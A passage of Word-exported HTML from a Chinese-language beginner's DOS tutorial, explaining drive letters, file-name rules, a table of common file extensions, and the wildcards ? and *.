標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">来进行转换，如</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"A:"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"E:"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">。这里要注意输入的盘符一定要是存在的。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR></SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">（小知识：盘符从</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">A</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">到</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">Z</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">，通常</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">A</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">、</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">B</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">盘为软驱，硬盘的盘符从</SPAN><SPAN lang=EN-US style="COLOR: #ff3366; FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">C</SPAN><SPAN lang=ZH-CN style="COLOR: #ff3366; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: ˎ̥">开始，而光驱的盘符为最后一个）</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR><SPAN style="COLOR: blue">3</SPAN></SPAN><SPAN lang=ZH-CN style="COLOR: blue; FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">）文件及目录</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">电脑中的数据主要都是以文件形式存储的，也可以说</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">以文件的形式来管理数据。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">文件是相关数据的集合，若干数据聚集在一起组成一个文件。每个文件都有文件名，文件名由主文件名和后缀名两部分组成，中间有小圆点隔开。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS6.22</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">及其以前版本最多仅支持</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">8</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">个字符的主文件名和</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">3</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">个字符的后缀名，而从</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">Windows 95</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">的</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS7.0</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">开始就可支持</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">128</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">个字符的主文件名和后缀名。字母、汉字、数字和一些特殊符号如</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"!</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">@</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">#"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">都可以作为文件名，但不能有</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"/</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">\</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">|</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">:</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">?"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">等符号。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">通常我们可以通过文件的后缀名看出该文件的类型，比如：</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P>
<TABLE class=MsoNormalTable style="WIDTH: 150pt; mso-cellspacing: 1.5pt" cellPadding=0 width=200 border=1>
<TBODY>
<TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><B><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">后缀名</SPAN></B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><B><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">文件类型</SPAN></B><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 1">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">EXE<o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">可执行程序文件</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 2">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">COM<o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">可执行命令文件</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 3">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">BAT<o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">可执行批处理文件</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 4">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">TXT<o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">文本文件</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 5">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">DAT<o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">数据文件</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR>
<TR style="mso-yfti-irow: 6; mso-yfti-lastrow: yes">
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">BAK<o:p></o:p></SPAN></P></TD>
<TD style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 0.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 0.75pt; PADDING-BOTTOM: 0.75pt; BORDER-LEFT: #ece9d8; PADDING-TOP: 0.75pt; BORDER-BOTTOM: #ece9d8; BACKGROUND-COLOR: transparent">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-pagination: widow-orphan" align=center><SPAN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">备份文件</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體"><o:p></o:p></SPAN></P></TD></TR></TBODY></TABLE>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 16.5pt; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">为了方便用户进行操作，</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">DOS</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">还允许使用通配符。所谓通配符，就是</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">？</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">与</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"*"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">这两个符号，它们可以用来代替文件名中的某些字符。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">？</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">代表一个合法的字符或空字符，比如</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"AB?D.EXE"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">文件就可以表示</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"ABCD.EXE"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"ABDD.EXE"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">、</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體">"ABZD.EXE"</SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">等。</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-fareast-font-family: 標楷體"><BR><BR></SPAN><SPAN lang=ZH-CN style="FONT-FAMILY: 標楷體; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; mso-ascii-font-family: Tahoma; mso-hansi-font-family: 新細明體">而</SPAN><SPAN lang=EN-US style="FONT-FAMILY: Tahoma; mso-bidi-font-family: 新細明體; mso-font-kerning: 0pt; mso-fareast-language: ZH-CN; 